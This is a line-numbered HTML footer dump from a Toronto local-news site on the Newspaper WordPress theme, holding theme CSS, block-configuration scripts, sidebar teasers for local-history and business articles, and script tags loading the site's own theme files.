1178                                                            <span class="td-author-date">
1179                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/harry-taylor">Harry Taylor</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-19T07:08:27-04:00" >19.05.2026</time></span>                                                                                                        </span>
1180                                                    </div>
1181                    
1182                    <div class="td-excerpt">
1183The global toy market has long been dominated by industry titans like Mattel (the creators of Barbie), Hasbro, and LEGO. For years, it seemed...</div>
1184                    
1185                                    </div>
1186            </div>
1187        </div>
1188
1189        </div></div></div></div></div><div class="vc_column_inner tdi_111  wpb_column vc_column_container tdc-inner-column td-pb-span3">
1190<style scoped>.tdi_111{vertical-align:baseline}.tdi_111 .vc_column-inner>.wpb_wrapper,.tdi_111 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_111 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_111{width:27%!important}@media (max-width:767px){.tdi_111{margin-bottom:30px!important;width:100%!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap td_flex_block_1 tdi_112 td-pb-border-top td_block_template_1 td_flex_block"  data-td-block-uid="tdi_112" >
1191<style>.tdi_112{margin-bottom:0px!important}</style>
1192<style>.tdi_112 .td-image-wrap{padding-bottom:70%}.tdi_112 .entry-thumb{background-position:center 50%}.tdi_112 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_112 .td-image-container,.ie11 .tdi_112 .td-image-container{flex:0 0 auto}.tdi_112 .td-module-container{flex-direction:row;border-color:#eaeaea!important}.ie10 .tdi_112 .td-module-meta-info,.ie11 .tdi_112 .td-module-meta-info{flex:1}body .tdi_112 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_112 .td-module-meta-info{padding:5px 0 0 15px;border-color:#eaeaea}.tdi_112 .td_module_wrap{padding-left:20px;padding-right:20px;padding-bottom:10px;margin-bottom:10px}.tdi_112 .td_block_inner{margin-left:-20px;margin-right:-20px}.tdi_112 .td-module-container:before{bottom:-10px;border-color:#eaeaea}.tdi_112 .td-post-vid-time{display:block}.tdi_112 .td-post-category:not(.td-post-extra-category){display:none}.tdi_112 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_112 .td-excerpt{display:none;margin:15px 0 0 0;column-count:1;column-gap:48px}.tdi_112 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_112 .td-read-more{display:none}.tdi_112 .td-author-date{display:none}.tdi_112 .td-post-author-name{display:none}.tdi_112 .td-post-date,.tdi_112 .td-post-author-name span{display:none}.tdi_112 .entry-review-stars{display:none}.tdi_112 .td-icon-star,.tdi_112 .td-icon-star-empty,.tdi_112 .td-icon-star-half{font-size:15px}.tdi_112 .td-module-comments{display:none}.tdi_112 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_112 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_112 .td-module-title a{color:#172842;box-shadow:inset 0 0 0 0 #000}.tdi_112 .td_module_wrap:hover .td-module-title a{color:#e2687e!important}.tdi_112 .td-post-author-name a{color:#90a0af}.tdi_112 .td-post-author-name:hover a{color:#e2687e}.tdi_112 .entry-title{margin:0 0 10px 0;font-family:Montserrat!important;font-size:15px!important;line-height:1.2!important;font-weight:700!important}.tdi_112 .td-editor-date,.tdi_112 .td-editor-date .td-post-author-name a,.tdi_112 .td-editor-date .entry-date,.tdi_112 .td-module-comments a{font-family:Montserrat!important;font-size:13px!important;font-weight:700!important;text-transform:uppercase!important}html:not([class*='ie']) .tdi_112 .td-module-container:hover .entry-thumb:before{opacity:0}
1192@media (min-width:768px){.tdi_112 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_112 .td-image-wrap{padding-bottom:80%}.tdi_112 .td_module_wrap{padding-bottom:7.5px;margin-bottom:7.5px;padding-bottom:7.5px!important;margin-bottom:7.5px!important}.tdi_112 .td-module-container:before{bottom:-7.5px}.tdi_112 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_112 .td_module_wrap .td-module-container:before{display:block!important}.tdi_112 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_112 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_112 .entry-title{font-size:12px!important}@media (min-width:768px){.tdi_112 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_112 .td-image-wrap{padding-bottom:100%}.tdi_112 .td-module-meta-info{padding:0 0 0 10px}.tdi_112 .td_module_wrap{padding-bottom:5px;margin-bottom:5px;padding-bottom:5px!important;margin-bottom:5px!important}.tdi_112 .td-module-container:before{bottom:-5px}.tdi_112 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_112 .td_module_wrap .td-module-container:before{display:block!important}.tdi_112 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_112 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_112 .entry-title{font-size:11px!important}.tdi_112 .td-editor-date,.tdi_112 .td-editor-date .td-post-author-name a,.tdi_112 .td-editor-date .entry-date,.tdi_112 .td-module-comments a{font-size:10px!important}@media (min-width:768px){.tdi_112 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_112 .td-image-wrap{padding-bottom:100%}.tdi_112 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_112 .td-module-container:before{bottom:-10px}.tdi_112 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_112 .td_module_wrap .td-module-container:before{display:block!important}.tdi_112 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_112 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_112 .td-editor-date,.tdi_112 .td-editor-date .td-post-author-name a,.tdi_112 .td-editor-date .entry-date,.tdi_112 .td-module-comments a{font-size:12px!important}@media (min-width:768px){.tdi_112 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style>
1192<script>var block_tdi_112 = new tdBlock();
1193block_tdi_112.id = "tdi_112";
1194block_tdi_112.atts = '{"image_size":"","image_floated":"float_left","image_width":"30","image_height":"eyJhbGwiOiI3MCIsInBvcnRyYWl0IjoiMTAwIiwicGhvbmUiOiIxMDAiLCJsYW5kc2NhcGUiOiI4MCJ9","show_btn":"none","show_excerpt":"eyJwb3J0cmFpdCI6Im5vbmUiLCJwaG9uZSI6Im5vbmUiLCJhbGwiOiJub25lIn0=","show_com":"eyJwb3J0cmFpdCI6Im5vbmUiLCJhbGwiOiJub25lIn0=","show_author":"eyJwb3J0cmFpdCI6Im5vbmUiLCJsYW5kc2NhcGUiOiJub25lIiwiYWxsIjoibm9uZSJ9","show_cat":"none","meta_padding":"eyJhbGwiOiI1cHggMCAwIDE1cHgiLCJwb3J0cmFpdCI6IjAgMCAwIDEwcHgifQ==","f_title_font_size":"eyJhbGwiOiIxNSIsInBvcnRyYWl0IjoiMTEiLCJsYW5kc2NhcGUiOiIxMiJ9","f_title_font_line_height":"1.2","f_title_font_weight":"700","all_modules_space":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxNSJ9","show_date":"eyJwb3J0cmFpdCI6Im5vbmUiLCJsYW5kc2NhcGUiOiJub25lIiwiYWxsIjoibm9uZSJ9","art_excerpt":"15px 0 0 0","f_title_font_family":"394","f_meta_font_family":"394","f_meta_font_transform":"uppercase","f_meta_font_weight":"700","art_title":"0 0 10px 0","tdc_css":"eyJwb3J0cmFpdCI6eyJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsImFsbCI6eyJtYXJnaW4tYm90dG9tIjoiMCIsImRpc3BsYXkiOiIifSwicGhvbmUiOnsiZGlzcGxheSI6IiJ9LCJwaG9uZV9tYXhfd2lkdGgiOjc2NywibGFuZHNjYXBlIjp7ImRpc3BsYXkiOiIifSwibGFuZHNjYXBlX21heF93aWR0aCI6MTE0MCwibGFuZHNjYXBlX21pbl93aWR0aCI6MTAxOX0=","h_effect":"","category_id":"","modules_on_row":"","title_txt_hover":"#e2687e","sort":"popular","limit":"2","f_meta_font_size":"eyJhbGwiOiIxMyIsInBvcnRyYWl0IjoiMTAiLCJwaG9uZSI6IjEyIn0=","show_review":"none","title_txt":"#172842","author_txt":"#90a0af","author_txt_hover":"#e2687e","installed_post_types":"post","block_type":"td_flex_block_1","separator":"","custom_title":"","custom_url":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"-3775","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","include_cf_posts":"","exclude_cf_posts":"","popular_by_date":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","modules_gap":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"layout-default","meta_width":"","meta_margin":"","meta_space":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","review_space":"","review_size":"2.5","review_distance":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radiu
1194s":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","td_column_number":1,"header_color":"","color_preset":"","border_top":"","class":"tdi_112","tdc_css_class":"tdi_112","tdc_css_class_
1194style":"tdi_112_rand_style"}';
1195block_tdi_112.td_column_number = "1";
1196block_tdi_112.block_type = "td_flex_block_1";
1197block_tdi_112.post_count = "2";
1198block_tdi_112.found_posts = "102";
1199block_tdi_112.header_color = "";
1200block_tdi_112.ajax_pagination_infinite_stop = "";
1201block_tdi_112.max_num_pages = "51";
1202tdBlocksArray.push(block_tdi_112);
1203</script>
1203<div class="td-block-title-wrap"></div><div id=tdi_112 class="td_block_inner td-mc1-wrap">
1204        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1205            <div class="td-module-container td-category-pos-">
1206                                    <div class="td-image-container">
1207                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/earl-haig-secondary-school-in-toronto-the-history-of-its-creation-and-development-3952"  rel="bookmark" class="td-image-wrap " title="Earl Haig Secondary School in Toronto: The History of Its Creation and Development" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/10/front-696x209.jpg"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/10/front-696x209.jpg');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1208                
1209                <div class="td-module-meta-info">
1210                                        
1211                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/earl-haig-secondary-school-in-toronto-the-history-of-its-creation-and-development-3952"  rel="bookmark" title="Earl Haig Secondary School in Toronto: The History of Its Creation and Development">Earl Haig Secondary School in Toronto: The History of Its Creation and Development</a></h3>
1212                    
1213                                            <div class="td-editor-date">
1214                                                        
1215                                                            <span class="td-author-date">
1216                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/amara-singh">Amara Singh</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-10-08T08:19:41-04:00" >08.10.2024</time></span>                                                                                                        </span>
1217                                                    </div>
1218                    
1219                    <div class="td-excerpt">
1220Quality education is the foundation for a successful future for the younger generation. Choosing the right school for your children is essential. Toronto, as...</div>
1221                    
1222                                    </div>
1223            </div>
1224        </div>
1225
1226        
1227        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1228            <div class="td-module-container td-category-pos-">
1229                                    <div class="td-image-container">
1230                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-history-of-torontos-confectionery-industry-a-story-of-major-producers-3670"  rel="bookmark" class="td-image-wrap " title="The History of Toronto’s Confectionery Industry: A Story of Major Producers" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/08/image3-696x544.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/08/image3-696x544.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1231                
1232                <div class="td-module-meta-info">
1233                                        
1234                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/the-history-of-torontos-confectionery-industry-a-story-of-major-producers-3670"  rel="bookmark" title="The History of Toronto’s Confectionery Industry: A Story of Major Producers">The History of Toronto’s Confectionery Industry: A Story of Major Producers</a></h3>
1235                    
1236                                            <div class="td-editor-date">
1237                                                        
1238                                                            <span class="td-author-date">
1239                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/amara-singh">Amara Singh</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-25T17:16:09-04:00" >25.08.2024</time></span>                                                                                                        </span>
1240                                                    </div>
1241                    
1242                    <div class="td-excerpt">
1243Toronto residents have always had a sweet tooth. As early as 1834, the city boasted two local confectioners: Alexander Erskine at 65 King Street...</div>
1244                    
1245                                    </div>
1246            </div>
1247        </div>
1248
1249        </div></div></div></div></div><div class="vc_column_inner tdi_114  wpb_column vc_column_container tdc-inner-column td-pb-span3">
1250<style scoped>.tdi_114{vertical-align:baseline}.tdi_114 .vc_column-inner>.wpb_wrapper,.tdi_114 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_114 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_114{padding-left:30px!important;width:18%!important}@media (max-width:767px){.tdi_114{margin-bottom:30px!important;padding-left:0px!important;width:100%!important}}@media (min-width:768px) and (max-width:1018px){.tdi_114{padding-left:0px!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap td_block_list_menu tdi_115 td-blm-display-vertical td-pb-border-top td_block_template_1 widget"  data-td-block-uid="tdi_115" >
1251<style>.tdi_115{margin-bottom:0px!important}@media (min-width:768px) and (max-width:1018px){.tdi_115{margin-top:-4px!important}}</style>
1252<style>body .tdi_115 ul{text-align:left;justify-content:flex-start;margin:0px}body .tdi_115 ul li a{justify-content:flex-start}body .tdi_115 .td-blm-menu-item-txt{flex-grow:1}body .tdi_115 a,body .tdi_115 .td-blm-sub-icon{color:#90a0af}body .tdi_115 li.current-menu-item>a,body .tdi_115 li.current-menu-ancestor>a,body .tdi_115 li.current-category-ancestor>a,body .tdi_115 li.current-page-ancestor>a,body .tdi_115 a:hover,body .tdi_115 li.current-menu-item>a>.td-blm-sub-icon,body .tdi_115 li.current-menu-ancestor>a>.td-blm-sub-icon,body .tdi_115 li.current-category-ancestor>a>.td-blm-sub-icon,body .tdi_115 li.current-page-ancestor>a>.td-blm-sub-icon,body .tdi_115 a:hover>.td-blm-sub-icon{color:#172842}body .tdi_115 li{font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;letter-spacing:1px!important}@media (min-width:1019px) and (max-width:1140px){body .tdi_115 li{font-size:13px!important;line-height:2.2!important}}@media (min-width:768px) and (max-width:1018px){body .tdi_115 li{font-size:12px!important;line-height:2!important}}@media (max-width:767px){body .tdi_115 li{font-size:12px!important}}</style><div class="td-block-title-wrap"></div><div id=tdi_115 class="td_block_inner td-fix-index"><div class="menu-footer-links-en-container"><ul id="menu-footer-links-en" class="menu"><li id="menu-item-1702" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1702"><a href="/en/articles"><span class="td-blm-menu-item-txt">Articles</span></a></li>
1253<li id="menu-item-1693" class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent menu-item-1693"><a href="https://toronto1.one/en/business"><span class="td-blm-menu-item-txt">Business</span></a></li>
1254<li id="menu-item-1694" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1694"><a href="https://toronto1.one/en/education"><span class="td-blm-menu-item-txt">Education</span></a></li>
1255<li id="menu-item-1696" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1696"><a href="https://toronto1.one/en/jobs"><span class="td-blm-menu-item-txt">Work</span></a></li>
1256<li id="menu-item-1695" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1695">
1256<a href="https://toronto1.one/en/other"><span class="td-blm-menu-item-txt">Other</span></a></li>
1257<li id="menu-item-1704" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1704"><a href="/en/sitemap_index.xml"><span class="td-blm-menu-item-txt">Sitemap</span></a></li>
1258</ul></div></div></div></div></div></div></div><div class="vc_row_inner tdi_117  vc_row vc_inner wpb_row td-pb-row" >
1259<style scoped>.tdi_117{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_117,.tdi_117 .tdc-inner-columns{display:block}.tdi_117 .tdc-inner-columns{width:100%}</style><div class="vc_column_inner tdi_119 mo-footer-disclaimer-bottom wpb_column vc_column_container tdc-inner-column td-pb-span12">
1260<style scoped>.tdi_119{vertical-align:baseline}.tdi_119 .vc_column-inner>.wpb_wrapper,.tdi_119 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_119 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}@media (max-width:767px){.tdi_119{width:100%!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="mo-footer-disclaimer-dynamic" lang="en"><p class="mo-footer-disclaimer-copy">Copyright © Partial use of materials is allowed in the presence of a hyperlink to us.</p></div></div></div></div></div></div></div></div></div></div></div>        </div>
1261
1262    </div>
1263    
1264
1265</div><!--close td-outer-wrap-->
1266
1267
1268<script type="speculationrules">
1269{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"\/en\/*"},{"not":{"href_matches":["\/wp-*.php","\/wp-admin\/*","\/wp-content\/uploads\/sites\/35\/*","\/wp-content\/*","\/wp-content\/plugins\/*","\/wp-content\/themes\/Newspaper\/*","\/en\/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
1270</script>
1270
1271
1272
1273    <!--
1274
1275        Theme: Newspaper by tagDiv.com 2024
1276        Version: 12.6.6 (rara)
1277        Deploy mode: deploy
1278        
1279        uid: 6abe69bd45365
1280    -->
1281
1282    
1283<!-- Custom css from theme panel -->
1284<style type="text/css" media="screen">body.tax-motype .td-header-desktop-wrap,body.page .td-header-desktop-wrap{position:static}body.home.page .td-header-desktop-wrap{position:absolute!important}</style>
1285
1286<script type="text/javascript" src="https://toronto1.one/wp-includes/js/underscore.min.js?ver=1.13.7" id="underscore-js"></script>
vendor: 1 bytes, line 1286
1286
1287<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-cloud-library/assets/js/js_posts_autoload.min.js?ver=b379c96c54343541fd8742379a419361" id="tdb_js_posts_autoload-js"></script>
vendor: 1 bytes, line 1287
1287
1288<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tagdiv_theme.min.js?ver=12.6.6" id="td-site-min-js"></script>
vendor: 1 bytes, line 1288
1288
1289<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdPostImages.js?ver=12.6.6" id="tdPostImages-js"></script>
vendor: 1 bytes, line 1289
1289
1290<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSmartSidebar.js?ver=12.6.6" id="tdSmartSidebar-js"></script>
vendor: 1 bytes, line 1290
1290
1291<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSocialSharing.js?ver=12.6.6" id="tdSocialSharing-js"></script>
vendor: 1 bytes, line 1291
1291
1292<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdModalPostImages.js?ver=12.6.6" id="tdModalPostImages-js"></script>
vendor: 1 bytes, line 1292
1292
1293<script type="text/javascript" src="https://toronto1.one/wp-includes/js/comment-reply.min.js?ver=6.8.1" id="comment-reply-js" async="async" data-wp-strategy="async"></script>
vendor: 1 bytes, line 1293
1293
1294<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js?ver=b379c96c54343541fd8742379a419361" id="tdb_js_files_for_front-js"></script>
1294
1295
1296
1297<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoadingBox.js?ver=12.6.6" id="tdLoadingBox-js"></script>
1297
1298
1299<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdToTop.js?ver=12.6.6" id="tdToTop-js"></script>
1299
1300
1301<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoginMobile.js?ver=12.6.6" id="tdLoginMobile-js"></script>
1301
1302
1303<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxSearch.js?ver=12.6.6" id="tdDatei18n-js"></script>
1303
1304
1305<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-cloud-library/assets/js/tdbMenu.js?ver=b379c96c54343541fd8742379a419361" id="tdbMenu-js"></script>
1305
1306
1307<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-cloud-library/assets/js/tdbSearch.js?ver=b379c96c54343541fd8742379a419361" id="tdbSearch-js"></script>
1307
1308
1309<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLogin.js?ver=12.6.6" id="tdLogin-js"></script>
1309
1310
1311<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSmartSidebar.js?ver=12.6.6" id="tdSmartSidebar-js"></script>
1311
1312
1313<script type="text/javascript" src="https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxCount.js?ver=12.6.6" id="tdAjaxCount-js"></script>
1313
1314<!-- JS generated by theme -->
1315
1316<script type="text/javascript" id="td-generated-footer-js">
1317    
1318
1319                
1320                    /* global jQuery:{} */
1321                    jQuery(document).ready( function () {
1322
1323                        var tdbMenuItem = new tdbMenu.item();
1324                        tdbMenuItem.blockUid = 'tdi_27';
1325                        tdbMenuItem.jqueryObj = jQuery('.tdi_27');
1326
1327                        tdbMenuItem.blockAtts = '{"mm_align_horiz":"content-horiz-left","modules_on_row_regular":"20%","modules_on_row_cats":"25%","image_size":"","modules_category":"above","show_excerpt":"","show_com":"none","show_date":"eyJsYW5kc2NhcGUiOiJub25lIiwicG9ydHJhaXQiOiJub25lIn0=","show_author":"","mm_sub_align_horiz":"content-horiz-right","mm_elem_align_horiz":"content-horiz-left","text_color":"#172842","align_horiz":"content-horiz-left","menu_id":"52","f_elem_font_size":"eyJhbGwiOiIxNiIsInBvcnRyYWl0IjoiMTQifQ==","f_elem_font_weight":"800","f_elem_font_family":"394","tds_menu_active1-line_color":"","elem_space":"eyJhbGwiOiIyNSIsImxhbmRzY2FwZSI6IjE1IiwicG9ydHJhaXQiOiIxNSJ9","main_sub_icon_space":"10","mm_width":"eyJhbGwiOiIxNjgwIiwibGFuZHNjYXBlIjoiMTAwJSIsInBvcnRyYWl0IjoiMTAwJSJ9","mm_align_screen":"yes","mm_hide_all_item":"yes","sep_icon_align":"0","mm_child_cats":"10","mm_sub_border":"0","mm_elem_border_a":"0","h_effect":"","image_height":"60","meta_padding":"eyJhbGwiOiIzMHB4IDI1cHgiLCJsYW5kc2NhcGUiOiIyNXB4IDIwcHgiLCJwb3J0cmFpdCI6IjE1cHggMTBweCJ9","art_title":"eyJhbGwiOiIxNXB4IDAgMCIsInBvcnRyYWl0IjoiMTBweCAwIDAifQ==","modules_category_padding":"0","modules_category_margin":"0","show_review":"none","sub_bg_color":"#ffffff","f_sub_elem_font_family":"394","f_sub_elem_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","f_sub_elem_font_transform":"","f_sub_elem_font_weight":"800","mm_subcats_bg":"#ffffff","mm_elem_bg":"rgba(255,255,255,0)","mm_elem_bg_a":"rgba(255,255,255,0)","f_mm_sub_font_family":"394","f_mm_sub_font_transform":"","f_mm_sub_font_size":"eyJhbGwiOiIxNCIsInBvcnRyY